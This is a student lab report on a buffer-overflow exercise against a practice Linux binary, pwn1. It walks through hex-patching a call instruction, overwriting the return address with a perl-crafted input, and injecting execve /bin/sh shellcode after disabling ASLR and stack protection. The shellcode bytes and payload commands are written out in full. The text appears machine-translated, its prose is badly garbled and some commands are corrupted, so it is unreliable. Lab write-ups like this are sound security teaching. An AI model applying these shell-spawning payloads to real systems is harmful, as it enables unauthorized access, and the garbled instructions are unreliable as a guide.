2020-2021-2 20175335テンジンノルブ「ネットワーク戦技術」Exp1のPCプラットフォームの逆ブレーク
1.「1」Bofプロパティは逆に、練習と実践目標の根拠を説明します。
(1)オブジェクトの練習はのpwn1という名前のLinux実行可能ファイルです。
実行の通常の流れは次のとおりです。主な機能はFOO、FOO機能は、単に任意のユーザの入力文字列をエコーう呼び出します。
メインとFOOに加えて、実行可能ファイルには、スニペットgetShellが含まれ、通常の動作条件の下で、このgetshellが実行されていない、私たちの目標は、このコードを実行する方法を見つけることスニペット
以下の3回の練習を:
- 手動getShell機能に直接ジャンプ、プログラムの実行フローを変更して、実行可能ファイルを変更します。
- リターンアドレス、トリガーgetShell機能を、関数fooの脆弱性、攻撃者コンストラクト入力文字列を使用して上書きBOF。
- 自分自身を生成し、このシェルコードを実行するためのシェルコードを注入します。
現実には、ターゲット(2):
-断片ファイル名を指定して実行アクセス不能
-プログラム実行フロー変更を余儀なくされ
-注入は、任意のコードを実行
「2」の基礎
(1)は、Linuxの基本的な操作に精通している
プロジェクト・ダンプdump--オブジェクト- 「objdumpの」
disassemble--を分解- 「-d」
パイプ文字- |「」
「より」 -ページの表示
”%!xxd“——
文書は、16進数の表示に変更されました
“%!xxd -r”———
ASCIIコードへのファイルのバック
xxのダウンロード - XXXをインストールapt-getを
猫、CP、RM ......など
(2)Bofプロパティの原理を理解
-アセンブラ、マシン命令、EIP、命令アドレスを理解することができます。
(3)使用GDB、VIM ......等
1.1。機械語命令が直接実行の流れを変え、プログラムを修正
①知識要件:CALLコマンド、EIPレジスタ、オフセット計算ジャンプ命令、補完、objdumpは解体命令数、16進数の編集ツール
②学習目標:理解と機械実行可能な命令
③高度:動的な技術を習得するために、ELFファイル形式を把握します
改造機の取扱説明書タスクは、プログラムの実行フローを変更します
pwn1、直接ダウンロード道路カーリーまたは共有フォルダにダウンロードを見つけるために、ページ内の逆公園PCの亀裂タスク5つのリンクにブログのプラットフォームで1。(あなたは自分と同じように!)
2. cp
バックアップpwn1のpwn1.bakためのコマンドは、タスクや問題3を行うためには、コピー・ダウンロードの再はありません。
3. より| objdumpの-d pwn1 を逆アセンブルpwn1コマンド。
4.アセンブラ命令のうち、輸送がより参照、それらのアドレスを表示するメイン関数fooで、ターンgetshell、メイン関数コールのアドレス、すなわち、最初のアドレスがgetshell 804847dある関数foo 8048491の最初のアドレスです。コール命令機E8 7dffffff、E8アドレスレジスタにアドレス0x8048491オフセット0x80484ba- 7dffffffすなわち0xffffff7d先アドレスが命令のアドレスである、機械命令を呼び出すEIP命令をEIPに等しいレジスタに格納されています。
タスクは今、それは0x80484baが-0x804847d c3ffffffによって0xffffffc3を、すなわち=置き換え7dffffffマシン命令アドレスE8の一部であるべき最初のアドレス804847d getshellにアドレスを呼び出すことである VI pwn1 編集pwn1 Fileコマンドを参照してくださいあなたができるドキュメントの六角内容、:
%!XXD
ASCIIファイルの内容への変換を読み込むことができます。
6. ASCIIに変換した後、入力を介して/e8 7d
メイン関数呼び出し命令のマシンコードを見つけることができます。
7.位置入力rによってカーソル7 c
、入力D上のカーソルを配置することによって、R 3
次いで、及び入力%!xxd -r
進数に変換したASCIIコード。
入力8. :wq
保存して終了。
9.それまでの逆アセンブル( objdumpの-d pwn1 |ほか )ビュー機能メイン関数呼び出しはgetshellに変更されました。
10.実行pwn1は、主な機能はgetshell関数を呼び出します。
、BOF攻撃をもたらす、入力パラメータを構成するプログラムの流れを変更することにより、タスク2。
タスクのアイデア:
1.call命令分解:
メイン関数foo関数呼び出し、コールは機械語命令を生成しますが、実際に呼び出し命令は、2つの手順で実行されます。
- EIPを押してください
- ジャンプXXX
すなわち、第一のスタックにプッシュし、その後ジャンプさEIPコール命令の実行中。リターンアドレスによってプログラムの終了を呼び出すようにするときEIPは、次の命令の命令呼び出しのアドレスに保存されます。これは、リターンアドレスのアドレスです。
2.バッファオーバーフロー:
プログラム呼び出し、独自のスタックフレームを形成するが、バッファ関数fooを持つであろうBufferoverflow漏洞
、すなわち、バッファは、文字列の長さを超えて充填され、余分なコンテンツは、隣接するオーバーフローが重複するとうまく設計されたこの文字列は、攻撃の目的を達成するために、リターンアドレス、getshellを指す戻りアドレスを上書きすることが可能であるメモリ。
1. pwn1逆アセンブルファイル( objdumpの-d pwn1 |ほか )、入力 / fooの 入力関数foo 0x1cにの主な機能のための予備空間への迅速なロッキング関数foo含量、すなわち28バイト+ EBPレジスタ4バイト、レジスタの値が値EIP 33-36バイトである必要があります。
2. gdb pwn1
コマンドデバッガは、Rの実行は、バッファオーバーフローが発生した40文字、表示セグメンテーションフォールトを入力します入力してください。33-36文字「1234」の値を有するレジスタEIPオーバーライド前記info r
レジスタの値のビュー0804847dに構成EIPの値がfoo関数が実行されるgetshellバックエンドメイン関数を入力することができる場合、EIPは、0x34333231であります機能。
4.あなたはとても使い、キーボードからの16進数値を入力することはできませんperl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
16進数アドレスのコマンド構造を、入力ファイルに内容を入力してください。住所が逆さまに書かれるべき、\ 0Aは、改行され\x0a
ていない場合は、プログラムの実行は、手動でEnterキーを押す必要があり、キャリッジリターンを表します。
5. (CAT入力; CAT)| ./pwn1 プログラム入力pwn1走行にコンテンツpwn1の内部と入力、パイプ記号によってgetshell機能をジャンプすることができる|、入力として入力ファイルpwn1。
逃げます!
タスク3つの注入し、実行シェルコード
期間シェルコードを準備1.
(1)シェルコードは、機械語命令(コード)の一部である
-この命令の汎用マシンは(窓のLinuxにおけるようなcmd.exeの殻など)対話型シェルを得ることであるので、これは、機械命令と呼ばれシェルコード。
-通常、機械命令を注入するための実用的な用途では、実行する命令をユーザの追加など、シェルコードとして知られています。
(2)研究では、教師は、シェルコードをお勧めします。次のとおりです。\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.準備
1)。Execstackはapt-getをexecstack installコマンドをを使用してパッケージをインストールします。( 須藤APT- GET execstackインストール )
2)次に、以下のコマンドを(一部の命令は、ルートモードで(好ましくは、権限を持って実行する SUが )。)
入力-s pwn1 execstack // 設定スタック実行可能な 2入力execstack - Q pwn1 。3入力詳細は/ proc / SYS /カーネル/ randomize_va_space 。4入力エコー" 0 " > / PROC / SYS /カーネル/ randomize_va_space // オフアドレスのランダム化 5入力よりは、/ proc / sys / kernel / randomize_va_space
3.ペイロード構造
输入perlの-e " 印刷「\ X90 \ X90 \ X90 \ X90 \ X90 \ X90 \ X31 \ XC0 \ X50 \ X68 \ x2f \ x2f \ X73 \ X68 \ X68 \ x2f \ X62 \ X69 \ x6e \ x89 \ XE3 \ X50 \ X53 \ x89 \ XE1 \ X31 \ XD2 \ XB0 \ X0B \ XCD \ X80 \ X90 \ X4 \ X3 \ X2 \ X1 \ X00" " > input_shellcode
bufのインジェクション攻撃(CATのinput_shellcode; CAT) | ./pwn1
デバッグのため4.使用GDB
- 別のターミナルを開き、最初のプロセスpwn1を見つけます
- 検索pwn1プロセスの数が2383 :.ある( PS -ef | grepをpwn1 )
- プロセスのデバッグを開始するGDB(プロセスID必見ノート)
- 端末におけるキャリッジ・リターンは、プログラムの実行は、ブレークポイント、ブレークポイントで実行を継続するためのB入力端子C、入力に達します。
ESP情報R
0xffffd21cがESPレジスタです参照してください。
入力 X / 16X 0xffffd1e0 16進形式のビューは0X 0xffffd1e0含有量は、注入する、16バイト構成input_shellcodeのコンテンツの先頭のアドレスの後にシェルコードのアドレスである0xffffd1e0 + 0x00000004 = 0xffffd1e4
-
攻撃BUFを再構築:
- この時点では入力し、input_shellcode形式の再
1のperl -e ' プリント"A" ×32;プリント「\ XA0 \ XD2 \ XFF \ XFF \ X90 \ X90 \ X90 \ X90 \ X90 \ X90 \ X31 \ XC0 \ X50 \ X68 \ x2f \ x2f \ X73 \ X68 \ X68 \ x2f \ X62 \ X69 \ x6e \ x89 \ XE3 \ X50 \ X53 \ x89 \ XE1 \ X31 \ XD2 \ XB0 \ X0B \ XCD \ X80 \ X90 \ X00 \ XD3 \ XFF \ XFF \ X00" " > input_shellcode
- 攻撃は、今回は成功した攻撃を発見しました!
実験収穫や感情の概要:
脆弱性とは何ですか?脆弱性の害は何ですか?
A:脆弱性は、欠陥の存在下でのシステムまたは手順である、脆弱性は、ユーザまたはユーザシステムの損傷への不正アクセスを得るために使用することができます。
この簡単な実験がありすぐにビデオを完了することができますが、特にために、そこに多くの欠陥が残っている多くの知識を知ってやっとでチェックすることにより、学習に、所定の位置にいくつかの基本的な知識と理解コンパイルだけでないことが判明しましたスタックの構造と動作は、収穫が非常にかなり良いように記述することができ、多くの知識を持っています。私たちは、次の実験の驚きを楽しみにして、だけでなく、能力や経験を向上させるために改善するために、彼らの画期的な突破口を作るためにすべてのリソースを有効に利用することしやすくなり、自分の学習過程の将来に期待しています!